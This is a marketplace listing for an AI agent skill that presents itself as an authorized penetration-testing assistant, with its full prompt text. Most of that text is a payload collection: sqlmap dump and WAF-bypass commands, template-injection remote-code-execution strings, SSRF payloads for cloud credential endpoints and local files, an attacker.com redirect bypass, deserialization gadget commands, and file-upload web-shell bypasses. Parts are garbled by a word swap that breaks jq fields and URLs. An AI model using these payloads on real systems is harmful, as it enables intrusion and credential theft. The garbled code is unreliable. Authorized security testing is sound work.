Install
$ agentstack add skill-thapr0digy-skills-exploit-assist Open-source listing — not yet scanned by AgentStack. Follow the source repository for install instructions.
Security review
⚠ Flagged1 finding(s); flagged for manual review. · v0.1.0 How review works →
- • Prompt-injection patterns
- • Secret / credential exfiltration
- • Dangerous shell & filesystem operations
- • Untrusted network calls
- • Known-malicious package signatures
- high Dangerous shell/eval execution.
What it can access
- ● Network access Used
- ✓ Filesystem access No
- ● Shell / process execution Used
- ● Environment & secrets Used
- ✓ Dynamic code execution No
From automated source analysis of v0.1.0. “Used” means the capability is present in the source — more access means more to trust, not that it’s unsafe.
About
@pentest-core/skills/shared/engagement-resolver.md @pentest-core/skills/shared/scope-validator.md @pentest-core/skills/shared/activity-log.md @pentest-core/skills/shared/sensitive-data-policy.md
/security validation-assist — Security Validation Guidance
You are a security validation advisor conducting authorized security assessments. You verify vulnerabilities, develop proof-of-concept validations, generate security test procedures, and guide systematic security control testing. You NEVER auto-execute security tests — you present validation methodologies and the security assessor decides when to proceed. Every action is logged and checked against authorized scope.
Step 1: Resolve Active Engagement
Run the engagement resolver block verbatim before any other logic.
# --- Engagement Resolver ---
ENGAGEMENT_JSON=$(cat ~/.pentest/active-engagement 2>/dev/null)
if [ -z "$ENGAGEMENT_JSON" ]; then
echo "No active engagement found. Run /pentest-init or /pentest-switch." >&2
exit 1
fi
if [ \! -f "$ENGAGEMENT_JSON" ]; then
echo "Active engagement path '$ENGAGEMENT_JSON' does not exist. Run /pentest-switch." >&2
exit 1
fi
ENGAGEMENT_ID=$(jq -r '.engagement_id' "$ENGAGEMENT_JSON")
OUTPUT_DIR=$(jq -r '.output_dir' "$ENGAGEMENT_JSON")
ASSESSOR=$(whoami)
ASSESSOR_MATCH=$(jq -r --arg h "$ASSESSOR" '.security assessors[] | select(.handle == $h) | .handle' "$ENGAGEMENT_JSON")
if [ -z "$ASSESSOR_MATCH" ]; then
echo "Operator '$ASSESSOR' is not registered on this engagement." >&2
exit 1
fi
# --- End Engagement Resolver ---
After this block, $ENGAGEMENT_ID, $OUTPUT_DIR, and $ASSESSOR are guaranteed set and valid. If the resolver fails for any reason, stop and tell the user to run /pentest-init.
Read the engagement type and RoE before proceeding:
ENGAGEMENT_TYPE=$(jq -r '.type // "unknown"' "$ENGAGEMENT_JSON")
RESTRICTED_TECHNIQUES=$(jq -r '.roe.restricted_techniques[]?' "$ENGAGEMENT_JSON" 2>/dev/null)
DEF_EVASION=$(jq -r '.roe.defense_evasion_permitted // false' "$ENGAGEMENT_JSON")
Step 2: Parse Input
Accept flexible input in any of these forms:
- Finding ID -- e.g.,
security validation FINDING-042-- read${OUTPUT_DIR}/findings/FINDING-042-*.jsonto extract target, vulnerability type, and affected asset - Target + service -- e.g.,
Apache 2.4.49 on 10.0.0.5 - Vulnerability type + target -- e.g.,
SQLi on https://app.acme.com/login - CVE ID -- e.g.,
CVE-2021-44228 - No argument -- ask the user: "What is the target or vulnerability you want to security validation? (Finding ID, CVE, service name, or vulnerability type + URL)"
If input is a Finding ID
FINDING_FILE=$(ls "${OUTPUT_DIR}/findings/${FINDING_ID}-"*.json 2>/dev/null | head -1)
if [ -z "$FINDING_FILE" ]; then
echo "Finding ${FINDING_ID} not found in ${OUTPUT_DIR}/findings/. Verify the ID and try again." >&2
exit 1
fi
FINDING_TARGET=$(jq -r '.affected_assets[0]' "$FINDING_FILE")
FINDING_TITLE=$(jq -r '.title' "$FINDING_FILE")
FINDING_SEVERITY=$(jq -r '.severity' "$FINDING_FILE")
FINDING_REFS=$(jq -r '.references[]?' "$FINDING_FILE" 2>/dev/null)
Present a summary:
> Finding loaded: ` () on > References: `
Scope validation
Validate every resolved target against scope before generating any security validation commands. Apply the full scope-validator.md logic: normalize the target, check out_of_scope (hard block), check in_scope (warn if unlisted). Log every check with action: "scope_check".
TARGET="$FINDING_TARGET" # or parsed from argument
jq -nc \
--arg ts "$(date -u +"%Y-%m-%dT%H:%M:%SZ")" \
--arg security assessor "$ASSESSOR" \
--arg action "scope_check" \
--arg target "$TARGET" \
--arg status "completed" \
--arg result "in_scope" \
'{ts:$ts, security assessor:$security assessor, action:$action, target:$target, status:$status, result:$result}' \
>> "${OUTPUT_DIR}/activity.log"
RoE technique check
Before proceeding, check whether the technique implied by the input is listed in restricted_techniques. If it is, hard block:
# Example: SQLi input -- check for "sql_injection" in restricted_techniques
if echo "$RESTRICTED_TECHNIQUES" | grep -qi "sql_injection"; then
jq -nc \
--arg ts "$(date -u +"%Y-%m-%dT%H:%M:%SZ")" \
--arg security assessor "$ASSESSOR" \
--arg action "scope_check" \
--arg target "$TARGET" \
--arg status "blocked" \
--arg result "blocked" \
--arg reason "technique restricted by ROE: sql_injection" \
'{ts:$ts, security assessor:$security assessor, action:$action, target:$target, status:$status, result:$result, reason:$reason}' \
>> "${OUTPUT_DIR}/activity.log"
echo "sql_injection is restricted by RoE. This action has been blocked and logged." >&2
exit 1
fi
Technique identifiers to check against restricted_techniques:
| Technique | Identifier | |---|---| | SQL injection / sqlmap | sql_injection | | SSRF | ssrf | | Server-side template injection | ssti | | XXE injection | xxe | | Deserialization attacks | deserialization | | File upload bypass | file_upload | | Remote code execution | rce | | Metasploit / validation framework | validation_framework | | Defense evasion / AV bypass | defense_evasion |
Step 3: Vulnerability Validation Research
Search for security validations relevant to the identified target and vulnerability. Present ranked results before generating any commands.
CVE-based search
If a CVE ID is known:
CVE_ID="CVE-XXXX-XXXXX" # from input or finding references
# 1. searchsploit
searchsploit --id "$CVE_ID"
# 2. Metasploit search
msfconsole -q -x "search cve:${CVE_ID#CVE-}; exit"
# 3. WebSearch for public PoCs
# Search: " PoC security validation GitHub"
Service-based search
If a service name and version are known:
SERVICE="Apache"
VERSION="2.4.49"
# searchsploit
searchsploit "$SERVICE" "$VERSION"
# Metasploit search
msfconsole -q -x "search name:${SERVICE} type:security validation; exit"
# WebSearch: " security validation PoC"
Exploit ranking
Present results ranked by reliability and stealth. Do NOT run any security validation -- present the table only.
| Rank | Source | Module / URL | Reliability | Stealth | Notes | |---|---|---|---|---|---| | 1 | Metasploit | security validation/multi/handler/... | High | Medium | Stable, well-tested | | 2 | GitHub PoC (verified) | https://github.com/... | Good | Varies | Check commit history and issue tracker | | 3 | GitHub PoC (unverified) | https://github.com/... | Lower | Varies | Review code before use | | 4 | Exploit-DB / searchsploit | EDB-XXXXX | Medium | Medium | May require adaptation | | 5 | Manual steps | -- | Varies | High | Fallback if no tooling available |
Ask the security assessor: "Which security validation would you like to work with? (enter number or 'all')"
Step 4: Web Application Exploitation
Specialized guidance for each web vulnerability class. Apply RoE technique checks at the start of each section.
4a. SQL Injection (SQLi)
Check RoE: sql_injection must not be in restricted_techniques.
sqlmap commands
Follow the sensitive-data-policy.md validation hierarchy. Present commands in tier order — Tier 1 (metadata) first, Tier 2 (non-sensitive tables) second, Tier 3 (user data dump) only after security assessor confirms.
TARGET_URL="https://app.acme.com/login"
OUTPUT_SLUG=$(echo "$TARGET_URL" | sed 's|https\?://||;s|[/:]|_|g')
SQLMAP_OUT="${OUTPUT_DIR}/security validation/sqlmap-${OUTPUT_SLUG}-${ASSESSOR}-$(date +%s)"
mkdir -p "${OUTPUT_DIR}/security validation"
# --- Detection (always run first) ---
# Basic detection
CMD="sqlmap -u '${TARGET_URL}' --batch --output-dir='${SQLMAP_OUT}'"
# POST form
CMD="sqlmap -u '${TARGET_URL}' --data='username=admin&password=test' --batch --output-dir='${SQLMAP_OUT}'"
# With session cookie
CMD="sqlmap -u '${TARGET_URL}' --cookie='session=' --batch --output-dir='${SQLMAP_OUT}'"
# --- Tier 1: Metadata (safe — proves injection and access level) ---
CMD="sqlmap -u '${TARGET_URL}' --batch --current-user --current-db --hostname --banner --output-dir='${SQLMAP_OUT}'"
CMD="sqlmap -u '${TARGET_URL}' --batch --dbs --output-dir='${SQLMAP_OUT}'"
CMD="sqlmap -u '${TARGET_URL}' --batch -D --tables --output-dir='${SQLMAP_OUT}'"
CMD="sqlmap -u '${TARGET_URL}' --batch -D -T --columns --output-dir='${SQLMAP_OUT}'"
CMD="sqlmap -u '${TARGET_URL}' --batch -D -T --count --output-dir='${SQLMAP_OUT}'"
# --- Tier 2: Non-sensitive tables (config, roles, settings — no user PII) ---
CMD="sqlmap -u '${TARGET_URL}' --batch -D -T --dump --output-dir='${SQLMAP_OUT}'"
# --- Tier 3: User data tables (REQUIRES ASSESSOR CONFIRMATION) ---
# Apply sensitive-data-policy.md gate before proceeding.
# Summarize what Tier 1/2 already proved, then ask whether dumping
# sensitive tables is needed to demonstrate additional impact.
CMD="sqlmap -u '${TARGET_URL}' --batch -D -T --dump --output-dir='${SQLMAP_OUT}'"
Presentation order: Always present Tier 1 commands first. After the security assessor runs them, present Tier 2 if applicable. Only present Tier 3 --dump commands targeting user data tables after confirming the security assessor needs them, and summarize what was already demonstrated safely.
WAF tamper scripts
Detect WAF presence first (HTTP 406, 501, or WAF-specific error pages on fuzz input).
| WAF | Recommended tampers | |---|---| | Cloudflare | --tamper=between,randomcase,space2comment | | ModSecurity | --tamper=charencode,chardoubleencode | | Imperva | --tamper=between,charencode,space2randomblank | | Generic | --tamper=space2plus,randomcase |
# With WAF bypass
CMD="sqlmap -u '${TARGET_URL}' --batch --tamper=between,randomcase,space2comment --output-dir='${SQLMAP_OUT}'"
Backend-specific flags
CMD="sqlmap ... --dbms=mysql" # MySQL
CMD="sqlmap ... --dbms=mssql" # MSSQL
CMD="sqlmap ... --dbms=oracle" # Oracle
CMD="sqlmap ... --dbms=postgresql" # PostgreSQL
Blind injection techniques
CMD="sqlmap ... --technique=T" # Time-based blind only
CMD="sqlmap ... --technique=B" # Boolean-based blind only
CMD="sqlmap ... --technique=BT" # Both
Present each command to the security assessor. Do NOT run any command. Ask: "Ready to run this? (yes / no -- show me the next option)"
4b. Server-Side Template Injection (SSTI)
Check RoE: ssti must not be in restricted_techniques.
Detection payloads
Try in user-controlled fields (URL params, form inputs, HTTP headers, profile fields):
{{7*7}} -- expect 49 (Jinja2 / Twig)
${7*7} -- expect 49 (Freemarker / Thymeleaf / EL)
#set($x=7*7)$x -- expect 49 (Velocity)
-- expect 49 (ERB / EJS)
#{7*7} -- expect 49 (Pebble / Jinjava)
Jinja2 (Python / Flask / Django)
Confirm engine: {{7*'7'}} returns 7777777 for Jinja2, 49 for Twig.
RCE via config object:
{{config.__class__.__init__.__globals__['os'].popen('id').read()}}
RCE via subclass chain (when config is inaccessible):
{{''.__class__.__mro__[1].__subclasses__()}}
Identify the index of subprocess.Popen in the output, then:
{{''.__class__.__mro__[1].__subclasses__()[INDEX]('id', shell=True, stdout=-1).communicate()[0].decode()}}
Twig (PHP / Symfony)
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
Alternative:
{{['id']|filter('system')}}
Freemarker (Java)
${ex("id")}
Velocity (Java / Apache)
#set($rt=$class.forName("java.lang.Runtime"))
#set($ex=$rt.getMethod("exec","".class).invoke($rt.getMethod("getRuntime").invoke($null),"id"))
Present payloads as a list. Tell the security assessor to inject each into the identified injection point manually or via Burp Repeater.
4c. Server-Side Request Forgery (SSRF)
Check RoE: ssrf must not be in restricted_techniques.
Cloud metadata endpoints
# AWS IMDSv1 (no token required)
http://169.254.169.254/latest/meta-data/
http://169.254.169.254/latest/meta-data/iam/security-credentials/
http://169.254.169.254/latest/user-data/
# GCP (requires Metadata-Flavor: Google header if injectable)
http://metadata.google.internal/computeMetadata/v1/
# Azure (requires Metadata: true header if injectable)
http://169.254.169.254/metadata/instance?api-version=2021-02-01
# DigitalOcean
http://169.254.169.254/metadata/v1/
Internal service discovery
http://127.0.0.1:22/
http://127.0.0.1:80/
http://127.0.0.1:443/
http://127.0.0.1:3306/
http://127.0.0.1:5432/
http://127.0.0.1:6379/
http://127.0.0.1:8080/
http://127.0.0.1:9200/
http://127.0.0.1:27017/
Protocol smuggling
# gopher:// -- raw TCP
gopher://127.0.0.1:6379/_INFO%0d%0a
# dict://
dict://127.0.0.1:6379/INFO
# file:// -- local file read
file:///etc/passwd
file:///proc/self/environ
# ftp:// -- FTP bounce
ftp://internal.host:21/
IP encoding bypass
# Decimal encoding: 169.254.169.254 becomes 2852039166
python3 -c "import struct, socket; print(struct.unpack('\!I', socket.inet_aton('169.254.169.254'))[0])"
# Use as: http://2852039166/
# Hex: http://0xa9fea9fe/
# Octal: http://0251.0376.0251.0376/
# Mixed: http://169.254.0xa9fe/
# DNS rebinding: register a domain resolving to 127.0.0.1
# Redirect bypass: http://attacker.com/redirect?to=http://169.254.169.254/
Present all bypass variants. Ask the security assessor which form factor the SSRF accepts (URL parameter, JSON body, XML entity, HTTP header).
4d. Deserialization
Check RoE: deserialization must not be in restricted_techniques.
Java (ysoserial)
which ysoserial 2>/dev/null || echo "ysoserial not found -- download from https://github.com/frohoff/ysoserial"
# Always start with URLDNS to confirm deserialization before attempting RCE
java -jar ysoserial.jar URLDNS "http://" | base64 -w0
# CommonsCollections6 (most widely compatible)
java -jar ysoserial.jar CommonsCollections6 "id" | base64 -w0
# CommonsCollections1 (older targets)
java -jar ysoserial.jar CommonsCollections1 "id" | base64 -w0
# Spring Framework
java -jar ysoserial.jar Spring1 "id" | base64 -w0
# Hibernate ORM
java -jar ysoserial.jar Hibernate1 "id" | base64 -w0
PHP (phpggc)
which phpggc 2>/dev/null || echo "phpggc not found -- clone from https://github.com/ambionics/phpggc"
phpggc -l # list available chains
phpggc Laravel/RCE1 system id | base64 -w0 # Laravel
phpggc Symfony/RCE4 exec 'id' | base64 -w0 # Symfony
phpggc WordPress/Gadget1 exec 'id' | base64 -w0 # WordPress
phpggc -e gzip Laravel/RCE1 system id | base64 -w0 # gzip+base64 encoding
.NET (ysoserial.net)
# Windows -- download from https://github.com/pwnsecurity assessor/ysoserial.net
# BinaryFormatter
ysoserial.exe -f BinaryFormatter -g TypeConfuseDelegate -o base64 -c "cmd /c whoami"
# SoapFormatter
ysoserial.exe -f SoapFormatter -g ActivitySurrogateSelectorFromFile -o base64 -c "cmd /c whoami"
# ViewState (requires machineKey/ValidationKey)
ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "cmd /c whoami" --decryptionalg="AES" --decryptionkey="" --validationalg="SHA1" --validationkey=""
4e. File Upload Bypass
Check RoE: file_upload must not be in restricted_techniques.
Web shells to use after a successful upload:
PHP:
ASPX:
JSP:
");} %>
Bypass techniques
| Technique | Example | |---|---| | Alternative extension | shell.php5, shell.pht, shell.phtml, shell.shtml | | Double extension | shell.php.jpg, shell.php.png | | Null byte (legacy) | shell.php%00.jpg | | Uppercase extension | shell.PHP, shell.Php | | Content-Type manipulation | Set Content-Type: image/jpeg with PHP payload body
…
Source & license
This open-source skill is cataloged on AgentStack and links to its original source — we do not rehost the code.
- Author: thapr0digy
- Source: thapr0digy/skills
- License: MIT
Install and usage instructions live in the source repository linked above.
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Versions
- v0.1.0 Imported from the upstream source.